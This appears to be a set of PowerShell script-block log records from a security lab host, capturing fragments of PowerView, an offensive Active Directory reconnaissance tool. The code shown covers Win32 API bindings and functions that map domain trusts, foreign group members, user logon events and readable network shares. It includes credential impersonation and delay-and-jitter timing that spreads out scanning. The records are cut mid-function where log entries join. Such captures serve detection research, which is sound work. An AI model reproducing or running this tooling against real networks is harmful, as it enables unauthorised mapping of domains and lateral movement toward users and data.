CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
b853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110308Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3941mation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$TrustAttributes = @{
[uint32]'0x00000001' = 'NON_TRANSITIVE'
[uint32]'0x00000002' = 'UPLEVEL_ONLY'
[uint32]'0x00000004' = 'FILTER_SIDS'
[uint32]'0x00000008' = 'FOREST_TRANSITIVE'
[uint32]'0x00000010' = 'CROSS_ORGANIZATION'
[uint32]'0x00000020' = 'WITHIN_FOREST'
[uint32]'0x00000040' = 'TREAT_AS_EXTERNAL'
[uint32]'0x00000080' = 'TRUST_USES_RC4_ENCRYPTION'
[uint32]'0x00000100' = 'TRUST_USES_AES_KEYS'
[uint32]'0x00000200' = 'CROSS_ORGANIZATION_NO_TGT_DELEGATION'
[uint32]'0x00000400' = 'PIM_TRUST'
}
$LdapSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $LdapSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $LdapSearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['Properties']) { $LdapSearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $LdapSearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $LdapSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $LdapSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $LdapSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $LdapSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $LdapSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $LdapSearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PsCmdlet.ParameterSetName -ne 'API') {
$NetSearcherArguments = @{}
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
if ($PSBoundParameters['Credential']) {
$SourceDomain = (Get-Domain -Credential $Credential).Name
}
else {
$SourceDomain = (Get-Domain).Name
}
}
}
elseif ($PsCmdlet.ParameterSetName -ne 'NET') {
if ($Domain -and $Domain.Trim() -ne '') {
$SourceDomain = $Domain
}
else {
$SourceDomain = $Env:USERDNSDOMAIN
}
}
if ($PsCmdlet.ParameterSetName -eq 'LDAP') {
# if we're searching for domain trusts through LDAP/ADSI
$TrustSearcher = Get-DomainSearcher @LdapSearcherArguments
$SourceSID = Get-DomainSID @NetSearcherArguments
if ($TrustSearcher) {
$TrustSearcher.Filter = '(objectClass=trustedDomain)'
if ($PSBoundParameters['FindOne']) { $Results = $TrustSearcher.FindOne() }
else { $Results = $TrustSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
$Props = $_.Properties
$DomainTrust = New-Object PSObject
$TrustAttrib = @()
$TrustAttrib += $TrustAttributes.Keys | Where-Object { $Props.trustattributes[0] -band $_ } | ForEach-Object { $TrustAttributes[$_] }
$Direction = Switch ($Props.trustdirection) {
0 { 'Disabled' }
1 { 'Inbound' }
2 { 'Outbound' }
3 { 'Bidirectional' }
}
$TrustType = Switch ($Props.trusttype) {
1 { 'WINDOWS_NON_ACTIVE_DIRECTORY' }
2 { 'WINDOWS_ACTIVE_DIRECTORY' }
3 { 'MIT' }
}
$Distinguishedname = $Props.distinguishedname[0]
$SourceNameIndex = $Distinguishedname.IndexOf('DC=')
if ($SourceNameIndex) {
$SourceDomain = $($Distinguishedname.SubString($SourceNameIndex)) -replace 'DC=','' -replace ',','.'
}
else {
$SourceDomain = ""
}
$TargetNameIndex = $Distinguishedname.IndexOf(',CN=System')
if ($SourceNameIndex) {
$TargetDomain = $Distinguishedname.SubString(3, $TargetNameIndex-3)
}
else {
$TargetDomain = ""
}
$ObjectGuid = New-Object Guid @(,$Props.objectguid[0])
$TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0]
# $DomainTrust | Add-Member Noteproperty 'TargetGuid' "{$ObjectGuid}"
$DomainTrust | Add-Member Noteproperty 'TrustType' $TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $($TrustAttrib -join ',')
$DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction"
$DomainTrust | Add-Member Noteproperty 'WhenCreated' $Props.whencreated[0]
$DomainTrust | Add-Member Noteproperty 'WhenChanged' $Props.whenchanged[0]
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.LDAP')
$DomainTrust
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainTrust] Error disposing of the Results object: $_"
}
}
$TrustSearcher.dispose()
}
}
elseif ($PsCmdlet.ParameterSetName -eq 'API') {
# if we're searching for domain trusts through Win32 API functions
if ($PSBoundParameters['Server']) {
$TargetDC = $Server
}
elseif ($Domain -and $Domain.Trim() -ne '') {
$TargetDC = $Domain
}
else {
# see https://msdn.microsoft.com/en-us/library/ms675976(v=vs.85).aspx for default NULL behavior
$TargetDC = $Null
}
# arguments for DsEnumerateDomainTrusts
$PtrInfo = [IntPtr]::Zero
# 63 = DS_DOMAIN_IN_FOREST + DS_DOMAIN_DIRECT_OUTBOUND + DS_DOMAIN_TREE_ROOT + DS_DOMAIN_PRIMARY + DS_DOMAIN_NATIVE_MODE + DS_DOMAIN_DIRECT_INBOUND
$Flags = 63
$DomainCount = 0
# get the trust information from the target server
$Result = $Netapi32::DsEnumerateDomainTrusts($TargetDC, $Flags, [ref]$PtrInfo, [ref]$DomainCount)
# Locate the offset of the initial intPtr
$Offset = $PtrInfo.ToInt64()
# 0 = success
if (($Result -eq 0) -and ($Offset -gt 0)) {
# Work out how much to increment the pointer by finding out the size of the structure
$Increment = $DS_DOMAIN_TRUSTS::GetSize()
# parse all the result structures
for ($i = 0; ($i -lt $DomainCount); $i++) {
# create a new int ptr at the given offset and cast the pointer as our result structure
$NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
$Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS
$Offset = $NewIntPtr.ToInt64()
$Offset += $Increment
$SidString = ''
$Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
if ($Result -eq 0) {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
}
else {
$DomainTrust = New-Object PSObject
$DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain
$DomainTrust | Add-Member Noteproperty 'TargetName' $Info.DnsDomainName
$DomainTrust | Add-Member Noteproperty 'TargetNetbiosName' $Info.NetbiosDomainName
$DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags
$DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex
$DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType
$DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes
$DomainTrust | Add-Member Noteproperty 'TargetSid' $SidString
$DomainTrust | Add-Member Noteproperty 'TargetGuid' $Info.DomainGuid
$DomainTrust.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.API')
$DomainTrust
}
}
# free up the result buffer
$Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
# if we're searching for domain trusts through .NET methods
$FoundDomain = Get-Domain @NetSearcherArguments
if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
}
}
}
function Get-ForestTrust {
<#
.SYNOPSIS
Return all forest trusts for the current forest or a specified forest.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Forest
.DESCRIPTION
This function will enumerate domain trust relationships for the current (or a remote)
forest using number of method using the .NET method GetAllTrustRelationships() on a
System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
.PARAMETER Forest
Specifies the forest to query for trusts, defaults to the current forest.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-ForestTrust
Return current forest trusts.
.EXAMPLE
Get-ForestTrust -Forest "external.local"
Return trusts for the "external.local" forest.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-ForestTrust -Forest "external.local" -Credential $Cred
Return trusts for the "external.local" forest using the specified alternate credenitals.
.OUTPUTS
PowerView.DomainTrust.NET
A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
PROCESS {
$NetForestArguments = @{}
if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
$FoundForest = Get-Forest @NetForestArguments
if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
}
}
function Get-DomainForeignUser {
<#
.SYNOPSIS
Enumerates users who are in groups outside of the user's domain.
This is a domain's "outgoing" access.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser
.DESCRIPTION
Uses Get-DomainUser to enumerate all users for the current (or target) domain,
then calculates the given user's domain name based on the user's distinguishedName.
This domain name is compared to the queried domain, and the user object is
output if they differ.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainForeignUser
Return all users in the current domain who are in groups not in the
current domain.
.EXAMPLE
Get-DomainForeignUser -Domain dev.testlab.local
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
Return all users in the dev.testlab.local domain who are in groups not in the
dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
using the specified alternate credentials.
.OUTPUTS
PowerView.ForeignUser
Custom PSObject with translated user property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
$SearcherArguments['LDAPFilter'] = '(memberof=*)'
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
PROCESS {
Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
$Index = $Membership.IndexOf('DC=')
if ($Index) {
$GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
$UserDistinguishedName = $_.distinguishedname
$UserIndex = $UserDistinguishedName.IndexOf('DC=')
$UserDomain = $($_.distinguishedname.SubString($UserIndex)) -replace 'DC=','' -replace ',','.'
if ($GroupDomain -ne $UserDomain) {
# if the group domain doesn't match the user domain, display it
$GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
$ForeignUser | Add-Member Noteproperty 'UserDomain' $UserDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
$ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
$ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
b853f6b7-a6c5-4a64-a1b1-a3630ea11b7e
4104132150x0110305Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3641 $TargetUsers) {
if ($TargetUsers) {
Get-DomainUserEvent @DomainUserEventArgs | Where-Object {$TargetUsers -contains $_.TargetUserName}
}
else {
$Operator = 'or'
$Filter.Keys | ForEach-Object {
if (($_ -eq 'Op') -or ($_ -eq 'Operator') -or ($_ -eq 'Operation')) {
if (($Filter[$_] -match '&') -or ($Filter[$_] -eq 'and')) {
$Operator = 'and'
}
}
}
$Keys = $Filter.Keys | Where-Object {($_ -ne 'Op') -and ($_ -ne 'Operator') -and ($_ -ne 'Operation')}
Get-DomainUserEvent @DomainUserEventArgs | ForEach-Object {
if ($Operator -eq 'or') {
ForEach ($Key in $Keys) {
if ($_."$Key" -match $Filter[$Key]) {
$_
}
}
}
else {
# and all clauses
ForEach ($Key in $Keys) {
if ($_."$Key" -notmatch $Filter[$Key]) {
break
}
$_
}
}
}
}
}
else {
Get-DomainUserEvent @DomainUserEventArgs
}
}
}
}
}
PROCESS {
# only ignore threading if -Delay is passed
if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) {
Write-Verbose "[Find-DomainUserEvent] Total number of hosts: $($TargetComputers.count)"
Write-Verbose "[Find-DomainUserEvent] Delay: $Delay, Jitter: $Jitter"
$Counter = 0
$RandNo = New-Object System.Random
ForEach ($TargetComputer in $TargetComputers) {
$Counter = $Counter + 1
# sleep for our semi-randomized interval
Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay)
Write-Verbose "[Find-DomainUserEvent] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))"
$Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $StartTime, $EndTime, $MaxEvents, $TargetUsers, $Filter, $Credential
$Result
if ($Result -and $StopOnSuccess) {
Write-Verbose "[Find-DomainUserEvent] Target user found, returning early"
return
}
}
}
else {
Write-Verbose "[Find-DomainUserEvent] Using threading with threads: $Threads"
# if we're using threading, kick off the script block with New-ThreadedFunction
$ScriptParams = @{
'StartTime' = $StartTime
'EndTime' = $EndTime
'MaxEvents' = $MaxEvents
'TargetUsers' = $TargetUsers
'Filter' = $Filter
'Credential' = $Credential
}
# if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params
New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads
}
}
}
function Find-DomainShare {
<#
.SYNOPSIS
Searches for computer shares on the domain. If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare. If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share. If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER CheckShareAccess
Switch. Only display found shares that the local user has access to.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainShare
Find all domain shares in the current domain.
.EXAMPLE
Find-DomainShare -CheckShareAccess
Find all domain shares in the current domain that the current user has
read access to.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred
Searches for domain shares in the testlab.local domain using the specified alternate credentials.
.OUTPUTS
PowerView.ShareInfo
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ShareInfo')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[Alias('Domain')]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
